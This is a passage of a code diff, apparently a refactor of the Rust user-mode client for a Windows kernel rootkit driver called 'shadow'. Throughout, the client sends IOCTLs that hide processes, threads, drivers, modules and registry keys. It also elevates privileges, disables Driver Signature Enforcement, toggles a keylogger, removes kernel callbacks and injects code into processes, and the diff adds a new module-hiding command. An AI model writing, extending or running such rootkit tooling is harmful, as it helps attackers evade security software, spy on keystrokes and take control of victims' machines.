||||||
},
|
},
|
||||||
|
|
||||||
/// Operations related to Callback.
|
/// Operations related to Callback.
|
||||||
Callback {
|
Callback {
|
||||||
/// Enumerate callback.
|
/// Enumerate callback.
|
||||||
@@ -82,7 +87,7 @@ pub enum Commands {
|
|||||||
#[arg(long, short, required = true)]
|
#[arg(long, short, required = true)]
|
||||||
callback: Callbacks,
|
callback: Callbacks,
|
||||||
|
|
||||||
// Restore callback.
|
/// Restore callback.
|
||||||
#[arg(long)]
|
#[arg(long)]
|
||||||
restore: Option<usize>,
|
restore: Option<usize>,
|
||||||
},
|
},
|
||||||
@@ -230,7 +235,7 @@ pub enum ProcessCommands {
|
|||||||
/// Lists protected or hidden processes
|
/// Lists protected or hidden processes
|
||||||
Enumerate {
|
Enumerate {
|
||||||
/// Enumerate Processes.
|
/// Enumerate Processes.
|
||||||
#[arg(long, required = true)]
|
#[arg(long, short, required = true)]
|
||||||
list: bool,
|
list: bool,
|
||||||
// Types Enumerate
|
// Types Enumerate
|
||||||
#[arg(long, short, required = true)]
|
#[arg(long, short, required = true)]
|
||||||
@@ -263,6 +268,28 @@ pub enum MisCommands {
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Enum representing the subcommands for module operations.
|
||||||
|
#[derive(Subcommand)]
|
||||||
|
pub enum ModuleCommands {
|
||||||
|
/// Hide the module.
|
||||||
|
Hide {
|
||||||
|
/// The module to hide.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
module: String,
|
||||||
|
|
||||||
|
/// The pid to module.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
pid: u32,
|
||||||
|
},
|
||||||
|
|
||||||
|
/// Enumerate modules.
|
||||||
|
Enumerate {
|
||||||
|
/// The process ID for enumerate modules.
|
||||||
|
#[arg(short, long, required = true)]
|
||||||
|
pid: u32,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// Enum representing the subcommands for thread operations.
|
/// Enum representing the subcommands for thread operations.
|
||||||
#[derive(Subcommand)]
|
#[derive(Subcommand)]
|
||||||
pub enum ThreadCommands {
|
pub enum ThreadCommands {
|
||||||
|
|||||||
@@ -1,147 +0,0 @@
|
|||||||
use {
|
|
||||||
core::mem::size_of,
|
|
||||||
shared::structs::{DriverInfo, TargetDriver, DSE},
|
|
||||||
std::{ffi::c_void, ptr::null_mut},
|
|
||||||
windows_sys::{
|
|
||||||
w,
|
|
||||||
Win32::{
|
|
||||||
Foundation::{
|
|
||||||
CloseHandle, GetLastError, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE
|
|
||||||
},
|
|
||||||
Storage::FileSystem::{
|
|
||||||
CreateFileW, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING}, System::IO::DeviceIoControl
|
|
||||||
}
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
pub fn unhide_hide_driver(ioctl_code: u32, name: &String, enable: bool) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let status;
|
|
||||||
let mut info_driver = TargetDriver {
|
|
||||||
name: name.to_string(),
|
|
||||||
enable
|
|
||||||
};
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
|
|
||||||
status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut info_driver as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<TargetDriver>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
println!("[+] Driver successfully hidden / unhidden")
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn enumerate_driver(ioctl_code: u32) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let mut driver_info: [DriverInfo; 400] = unsafe { std::mem::zeroed() };
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
driver_info.as_mut_ptr() as *mut _,
|
|
||||||
(driver_info.len() * size_of::<DriverInfo>()) as u32,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
let total_module = return_buffer as usize / size_of::<DriverInfo>();
|
|
||||||
println!("[+] Total modules: {}", total_module);
|
|
||||||
for i in driver_info.iter() {
|
|
||||||
if i.address > 0 {
|
|
||||||
let name = match String::from_utf16(&i.name) {
|
|
||||||
Ok(name) => name,
|
|
||||||
Err(err) => {
|
|
||||||
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn dse(ioctl_code: u32, enable: bool) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let status;
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let mut info_dse = DSE {
|
|
||||||
enable
|
|
||||||
};
|
|
||||||
|
|
||||||
status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut info_dse as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<DSE>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
if enable {
|
|
||||||
println!("[+] Driver Signature Enforcement (DSE) Enabled");
|
|
||||||
} else {
|
|
||||||
println!("[+] Driver Signature Enforcement (DSE) Disabled");
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn open_driver() -> Result<HANDLE, ()> {
|
|
||||||
let h_file = unsafe {
|
|
||||||
CreateFileW(
|
|
||||||
w!("\\\\.\\shadow"),
|
|
||||||
GENERIC_READ | GENERIC_WRITE,
|
|
||||||
0,
|
|
||||||
null_mut(),
|
|
||||||
OPEN_EXISTING,
|
|
||||||
FILE_ATTRIBUTE_NORMAL,
|
|
||||||
0
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if h_file == INVALID_HANDLE_VALUE {
|
|
||||||
unsafe { println!("[!] CreateFileW Failed With Error: {:?}", GetLastError()) };
|
|
||||||
return Err(());
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(h_file)
|
|
||||||
}
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
use {
|
|
||||||
std::{ffi::c_void, ptr::null_mut},
|
|
||||||
windows_sys::Win32::System::IO::DeviceIoControl,
|
|
||||||
shared::structs::Keylogger,
|
|
||||||
crate::driver::open_driver,
|
|
||||||
};
|
|
||||||
|
|
||||||
pub fn keylogger(ioctl_code: u32, state: bool) {
|
|
||||||
let h_file = open_driver().expect("Failed open driver");
|
|
||||||
let status;
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let mut keylogger = Keylogger {
|
|
||||||
enable: state
|
|
||||||
};
|
|
||||||
status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut keylogger as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<Keylogger>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
if state {
|
|
||||||
println!("[+] Keylogger start");
|
|
||||||
} else {
|
|
||||||
println!("[+] Keylogger stop");
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,77 +1,88 @@
|
|||||||
use {
|
use {
|
||||||
cli::*,
|
cli::*,
|
||||||
|
log::*,
|
||||||
|
colored::*,
|
||||||
clap::Parser,
|
clap::Parser,
|
||||||
|
std::io::Write,
|
||||||
|
log::LevelFilter,
|
||||||
shared::ioctls::*,
|
shared::ioctls::*,
|
||||||
module::enumerate_module,
|
env_logger::Builder,
|
||||||
driver::{dse, enumerate_driver, unhide_hide_driver},
|
};
|
||||||
keylogger::keylogger,
|
use modules::{
|
||||||
process::{
|
callback::{enumerate_callback, remove_callback, restore_callback}, driver::{enumerate_driver, unhide_hide_driver}, injection::{injection_apc, injection_thread}, misc::{dse, keylogger}, module::{enumerate_module, hide_module}, process::{
|
||||||
elevate_process,
|
elevate_process,
|
||||||
enumerate_process, hide_unhide_process,
|
enumerate_process, hide_unhide_process,
|
||||||
signature_process, terminate_process
|
signature_process, terminate_process
|
||||||
},
|
}, thread::{enumerate_thread, hide_unhide_thread}
|
||||||
thread::{enumerate_thread, hide_unhide_thread},
|
|
||||||
callback::{enumerate_callback, remove_callback, restore_callback},
|
|
||||||
injection::{injection_thread, injection_apc},
|
|
||||||
};
|
};
|
||||||
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
mod registry;
|
use modules::{
|
||||||
mod callback;
|
registry::{registry_protection, registry_hide_unhide},
|
||||||
mod cli;
|
|
||||||
mod driver;
|
|
||||||
mod process;
|
|
||||||
mod keylogger;
|
|
||||||
mod thread;
|
|
||||||
mod injection;
|
|
||||||
mod module;
|
|
||||||
mod utils;
|
|
||||||
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
|
||||||
use {
|
|
||||||
registry::{registry_protection, registry_hide},
|
|
||||||
process::protection_process,
|
process::protection_process,
|
||||||
thread::protection_thread,
|
thread::protection_thread,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
mod modules;
|
||||||
|
mod cli;
|
||||||
|
mod utils;
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
let args = Cli::parse();
|
let args = Cli::parse();
|
||||||
|
let mut builder = Builder::new();
|
||||||
|
let log_level = match args.verbose {
|
||||||
|
0 => LevelFilter::Info,
|
||||||
|
_ => LevelFilter::Debug
|
||||||
|
};
|
||||||
|
|
||||||
|
builder.filter(None, log_level).format(|buf, record| {
|
||||||
|
let timestamp = chrono::Local::now().format("%Y-%m-%dT%H:%M:%S");
|
||||||
|
let level = match record.level() {
|
||||||
|
Level::Error => "ERROR".red().bold(),
|
||||||
|
Level::Warn => "WARN ".yellow().bold(),
|
||||||
|
Level::Info => "INFO ".green(),
|
||||||
|
Level::Debug => "DEBUG".bright_black(),
|
||||||
|
Level::Trace => "TRACE".blue(),
|
||||||
|
};
|
||||||
|
|
||||||
|
writeln!(buf, "[{}] {} [shadow] {}", timestamp, level, record.args())
|
||||||
|
}).init();
|
||||||
|
|
||||||
match &args.command {
|
match &args.command {
|
||||||
Commands::Process { sub_command } => match sub_command {
|
Commands::Process { sub_command } => match sub_command {
|
||||||
ProcessCommands::Elevate { pid } => {
|
ProcessCommands::Elevate { pid } => {
|
||||||
println!("[+] Elevate Process: {pid}");
|
info!("Elevate Process: {pid}");
|
||||||
elevate_process(Some(pid), IOCTL_ELEVATE_PROCESS);
|
elevate_process(Some(pid), IOCTL_ELEVATE_PROCESS);
|
||||||
},
|
},
|
||||||
ProcessCommands::Hide { pid } => {
|
ProcessCommands::Hide { pid } => {
|
||||||
println!("[+] Hide Process: {pid}");
|
info!("Hide Process: {pid}");
|
||||||
hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, true);
|
hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, true);
|
||||||
},
|
},
|
||||||
ProcessCommands::Unhide { pid } => {
|
ProcessCommands::Unhide { pid } => {
|
||||||
println!("[+] UnHide Process: {pid}");
|
info!("UnHide Process: {pid}");
|
||||||
hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, false);
|
hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, false);
|
||||||
},
|
},
|
||||||
ProcessCommands::Terminate { pid } => {
|
ProcessCommands::Terminate { pid } => {
|
||||||
println!("[+] Terminate Process: {pid}");
|
info!("Terminate Process: {pid}");
|
||||||
terminate_process(Some(pid), IOCTL_TERMINATE_PROCESS);
|
terminate_process(Some(pid), IOCTL_TERMINATE_PROCESS);
|
||||||
},
|
},
|
||||||
ProcessCommands::Signature { pid, pt, sg } => {
|
ProcessCommands::Signature { pid, pt, sg } => {
|
||||||
println!("[+] Signature Process: {pid}");
|
info!("Signature Process: {pid}");
|
||||||
signature_process(Some(pid), IOCTL_SIGNATURE_PROCESS, sg, pt);
|
signature_process(Some(pid), IOCTL_SIGNATURE_PROCESS, sg, pt);
|
||||||
},
|
},
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
ProcessCommands::Protection { pid, add, remove } => {
|
ProcessCommands::Protection { pid, add, remove } => {
|
||||||
println!("[+] Protection Process: {pid}");
|
info!("Protection Process: {pid}");
|
||||||
if *add {
|
if *add {
|
||||||
protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, true);
|
protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, true);
|
||||||
} else if *remove {
|
} else if *remove {
|
||||||
protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, false);
|
protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, false);
|
||||||
} else {
|
} else {
|
||||||
eprintln!("[-] No action provided");
|
error!("No action provided");
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
ProcessCommands::Enumerate { list, type_ } => {
|
ProcessCommands::Enumerate { list, type_ } => {
|
||||||
println!("[+] Enumerate Process");
|
info!("Enumerate Process");
|
||||||
if *list {
|
if *list {
|
||||||
enumerate_process(IOCTL_ENUMERATION_PROCESS, type_);
|
enumerate_process(IOCTL_ENUMERATION_PROCESS, type_);
|
||||||
}
|
}
|
||||||
@@ -79,11 +90,11 @@ fn main() {
|
|||||||
},
|
},
|
||||||
Commands::Thread { sub_command } => match sub_command {
|
Commands::Thread { sub_command } => match sub_command {
|
||||||
ThreadCommands::Hide { tid } => {
|
ThreadCommands::Hide { tid } => {
|
||||||
println!("[+] Hide Thread: {tid}");
|
info!("Hide Thread: {tid}");
|
||||||
hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, true);
|
hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, true);
|
||||||
},
|
},
|
||||||
ThreadCommands::Unhide { tid } => {
|
ThreadCommands::Unhide { tid } => {
|
||||||
println!("[+] Unhide Thread: {tid}");
|
info!("Unhide Thread: {tid}");
|
||||||
hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, false);
|
hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, false);
|
||||||
},
|
},
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
@@ -93,11 +104,11 @@ fn main() {
|
|||||||
} else if *remove {
|
} else if *remove {
|
||||||
protection_thread(Some(tid), IOCTL_PROTECTION_THREAD, false);
|
protection_thread(Some(tid), IOCTL_PROTECTION_THREAD, false);
|
||||||
} else {
|
} else {
|
||||||
eprintln!("[-] No action provided");
|
error!("No action provided");
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
ThreadCommands::Enumerate { list, type_ } => {
|
ThreadCommands::Enumerate { list, type_ } => {
|
||||||
println!("[+] Enumerate Thread");
|
info!("Enumerate Thread");
|
||||||
if *list {
|
if *list {
|
||||||
enumerate_thread(IOCTL_ENUMERATION_THREAD, type_);
|
enumerate_thread(IOCTL_ENUMERATION_THREAD, type_);
|
||||||
}
|
}
|
||||||
@@ -105,44 +116,44 @@ fn main() {
|
|||||||
},
|
},
|
||||||
Commands::Driver { hide, unhide, list, name } => {
|
Commands::Driver { hide, unhide, list, name } => {
|
||||||
if *hide {
|
if *hide {
|
||||||
println!("[+] Hide Driver");
|
info!("Hide Driver");
|
||||||
match name {
|
match name {
|
||||||
Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, true),
|
Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, true),
|
||||||
None => {
|
None => {
|
||||||
eprintln!("[-] No action provided for driver.");
|
error!("No action provided for driver.");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if *unhide {
|
} else if *unhide {
|
||||||
println!("[+] Unhide Driver");
|
info!("Unhide Driver");
|
||||||
match name {
|
match name {
|
||||||
Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, false),
|
Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, false),
|
||||||
None => {
|
None => {
|
||||||
eprintln!("[-] No action provided for driver.");
|
error!("No action provided for driver.");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if *list {
|
} else if *list {
|
||||||
println!("[+] Enumerate Driver");
|
info!("Enumerate Driver");
|
||||||
enumerate_driver(IOCTL_ENUMERATE_DRIVER);
|
enumerate_driver(IOCTL_ENUMERATE_DRIVER);
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
Commands::Misc { sub_command } => match sub_command {
|
Commands::Misc { sub_command } => match sub_command {
|
||||||
MisCommands::DSE { disable, enable } => {
|
MisCommands::DSE { disable, enable } => {
|
||||||
if *enable {
|
if *enable {
|
||||||
println!("[+] Enable DSE");
|
info!("Enable DSE");
|
||||||
dse(IOCTL_ENABLE_DSE, true);
|
dse(IOCTL_ENABLE_DSE, true);
|
||||||
} else if *disable {
|
} else if *disable {
|
||||||
println!("[+] Disable DSE");
|
info!("Disable DSE");
|
||||||
dse(IOCTL_ENABLE_DSE, false);
|
dse(IOCTL_ENABLE_DSE, false);
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
MisCommands::Keylogger { stop, start } => {
|
MisCommands::Keylogger { stop, start } => {
|
||||||
if *start {
|
if *start {
|
||||||
println!("[+] Start Keylogger");
|
info!("Start Keylogger");
|
||||||
keylogger(IOCTL_KEYLOGGER, true);
|
keylogger(IOCTL_KEYLOGGER, true);
|
||||||
} else if *stop {
|
} else if *stop {
|
||||||
println!("[+] Stop Keylogger");
|
info!("Stop Keylogger");
|
||||||
keylogger(IOCTL_KEYLOGGER, false);
|
keylogger(IOCTL_KEYLOGGER, false);
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
@@ -152,7 +163,7 @@ fn main() {
|
|||||||
Commands::Registry { sub_command } => match sub_command {
|
Commands::Registry { sub_command } => match sub_command {
|
||||||
RegistryCommands::Protect { key, name, add, remove } => {
|
RegistryCommands::Protect { key, name, add, remove } => {
|
||||||
if *add && *remove {
|
if *add && *remove {
|
||||||
eprintln!("[-] Error: Both add and remove options cannot be specified at the same time");
|
error!("Both add and remove options cannot be specified at the same time");
|
||||||
} else if *add {
|
} else if *add {
|
||||||
match name {
|
match name {
|
||||||
Some(ref name) => {
|
Some(ref name) => {
|
||||||
@@ -172,60 +183,65 @@ fn main() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
eprintln!("[-] Error: Either add or remove must be specified");
|
error!("Either add or remove must be specified");
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
RegistryCommands::Hide { key, value } => {
|
RegistryCommands::Hide { key, value } => {
|
||||||
match value {
|
match value {
|
||||||
Some(ref value) => {
|
Some(ref value) => {
|
||||||
registry_hide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, true);
|
registry_hide_unhide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, true);
|
||||||
},
|
},
|
||||||
None => {
|
None => {
|
||||||
registry_hide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, true);
|
registry_hide_unhide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, true);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
RegistryCommands::Unhide { key, value } => {
|
RegistryCommands::Unhide { key, value } => {
|
||||||
match value {
|
match value {
|
||||||
Some(ref value) => {
|
Some(ref value) => {
|
||||||
registry_hide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, false);
|
registry_hide_unhide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, false);
|
||||||
},
|
},
|
||||||
None => {
|
None => {
|
||||||
registry_hide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, false);
|
registry_hide_unhide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, false);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
Commands::Module { pid } => {
|
Commands::Module { sub_command } => match sub_command {
|
||||||
|
ModuleCommands::Hide { module, pid } => {
|
||||||
|
hide_module(IOCTL_HIDE_MODULE, module, *pid);
|
||||||
|
},
|
||||||
|
ModuleCommands::Enumerate { pid } => {
|
||||||
enumerate_module(IOCTL_ENUMERATE_MODULE, pid);
|
enumerate_module(IOCTL_ENUMERATE_MODULE, pid);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
Commands::Callback { list, enumerate ,remove, restore, callback } => {
|
Commands::Callback { list, enumerate ,remove, restore, callback } => {
|
||||||
if *list {
|
if *list {
|
||||||
println!("[+] Enumerate Callback");
|
info!("Enumerate Callback");
|
||||||
enumerate_callback(IOCTL_ENUMERATE_CALLBACK, callback);
|
enumerate_callback(IOCTL_ENUMERATE_CALLBACK, callback);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if *enumerate {
|
if *enumerate {
|
||||||
println!("[+] Enumerate Removed Callback");
|
info!("Enumerate Removed Callback");
|
||||||
enumerate_callback(IOCTL_ENUMERATE_REMOVED_CALLBACK, callback);
|
enumerate_callback(IOCTL_ENUMERATE_REMOVED_CALLBACK, callback);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
match (remove, restore) {
|
match (remove, restore) {
|
||||||
(Some(index), None) => {
|
(Some(index), None) => {
|
||||||
println!("[+] Remove Callback: {index}");
|
info!("Remove Callback: {index}");
|
||||||
remove_callback(*index, IOCTL_REMOVE_CALLBACK, callback);
|
remove_callback(*index, IOCTL_REMOVE_CALLBACK, callback);
|
||||||
},
|
},
|
||||||
(None, Some(index)) => {
|
(None, Some(index)) => {
|
||||||
println!("[+] Restore Callback: {index}");
|
info!("Restore Callback: {index}");
|
||||||
restore_callback(*index, IOCTL_RESTORE_CALLBACK, callback);
|
restore_callback(*index, IOCTL_RESTORE_CALLBACK, callback);
|
||||||
},
|
},
|
||||||
(Some(_), Some(_)) => {
|
(Some(_), Some(_)) => {
|
||||||
eprintln!("[-] Error: Cannot remove and restore at the same time.");
|
error!("Cannot remove and restore at the same time");
|
||||||
},
|
},
|
||||||
(None, None) => {
|
(None, None) => {
|
||||||
eprintln!("[-] No action provided for callback.");
|
error!("No action provided for callback");
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -1,50 +0,0 @@
|
|||||||
use {
|
|
||||||
crate::driver::open_driver,
|
|
||||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
|
||||||
shared::structs::{ModuleInfo, TargetProcess},
|
|
||||||
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
|
|
||||||
};
|
|
||||||
|
|
||||||
pub fn enumerate_module(ioctl_code: u32, pid: &u32) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() };
|
|
||||||
let mut input_module = TargetProcess {
|
|
||||||
pid: *pid as usize
|
|
||||||
};
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut input_module as *mut _ as *mut c_void,
|
|
||||||
size_of::<TargetProcess>() as u32,
|
|
||||||
module_info.as_mut_ptr() as *mut _,
|
|
||||||
(module_info.len() * size_of::<ModuleInfo>()) as u32,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
let total_module = return_buffer as usize / size_of::<ModuleInfo>();
|
|
||||||
println!("[+] Total modules: {}", total_module);
|
|
||||||
for i in module_info.iter() {
|
|
||||||
if i.address > 0 {
|
|
||||||
let name = match String::from_utf16(&i.name) {
|
|
||||||
Ok(name) => name,
|
|
||||||
Err(err) => {
|
|
||||||
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
@@ -1,12 +1,18 @@
|
|||||||
use {
|
use {
|
||||||
crate::{cli::Callbacks, driver::open_driver},
|
crate::{cli::Callbacks, utils::open_driver},
|
||||||
std::{ptr::null_mut, mem::size_of, ffi::c_void},
|
|
||||||
shared::structs::{CallbackInfoInput, CallbackInfoOutput},
|
shared::structs::{CallbackInfoInput, CallbackInfoOutput},
|
||||||
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
|
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||||
|
windows_sys::Win32::{
|
||||||
|
Foundation::{CloseHandle, GetLastError},
|
||||||
|
System::IO::DeviceIoControl
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
||||||
|
log::debug!("Attempting to open the driver for callback enumeration");
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
log::debug!("Allocating memory for callback information");
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
let mut callback_info: [CallbackInfoOutput; 400] = unsafe { std::mem::zeroed() };
|
let mut callback_info: [CallbackInfoOutput; 400] = unsafe { std::mem::zeroed() };
|
||||||
let mut input_callback = CallbackInfoInput {
|
let mut input_callback = CallbackInfoInput {
|
||||||
@@ -14,6 +20,7 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
|||||||
callback: callback.to_shared()
|
callback: callback.to_shared()
|
||||||
};
|
};
|
||||||
|
|
||||||
|
log::debug!("Sending DeviceIoControl command to enumerate callbacks");
|
||||||
let status = unsafe {
|
let status = unsafe {
|
||||||
DeviceIoControl(
|
DeviceIoControl(
|
||||||
h_file,
|
h_file,
|
||||||
@@ -28,16 +35,19 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
|||||||
};
|
};
|
||||||
|
|
||||||
if status == 0 {
|
if status == 0 {
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
} else {
|
} else {
|
||||||
let total_module = return_buffer as usize / size_of::<CallbackInfoOutput>();
|
let total_modules = return_buffer as usize / size_of::<CallbackInfoOutput>();
|
||||||
println!("[+] Total modules: {}", total_module);
|
log::info!("Total callbacks found: {}", total_modules);
|
||||||
|
log::info!("Listing callbacks:");
|
||||||
|
println!("");
|
||||||
|
|
||||||
for i in callback_info.iter() {
|
for i in callback_info.iter() {
|
||||||
if i.address > 0 {
|
if i.address > 0 {
|
||||||
let name = match String::from_utf16(&i.name) {
|
let name = match String::from_utf16(&i.name) {
|
||||||
Ok(name) => name.trim_end_matches('\0').to_string(),
|
Ok(name) => name.trim_end_matches('\0').to_string(),
|
||||||
Err(err) => {
|
Err(err) => {
|
||||||
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
log::error!("UTF-16 decoding error: {:?}", err);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
@@ -46,7 +56,7 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
|||||||
let name = match String::from_utf16(&i.name) {
|
let name = match String::from_utf16(&i.name) {
|
||||||
Ok(name) => name.trim_end_matches('\0').to_string(),
|
Ok(name) => name.trim_end_matches('\0').to_string(),
|
||||||
Err(err) => {
|
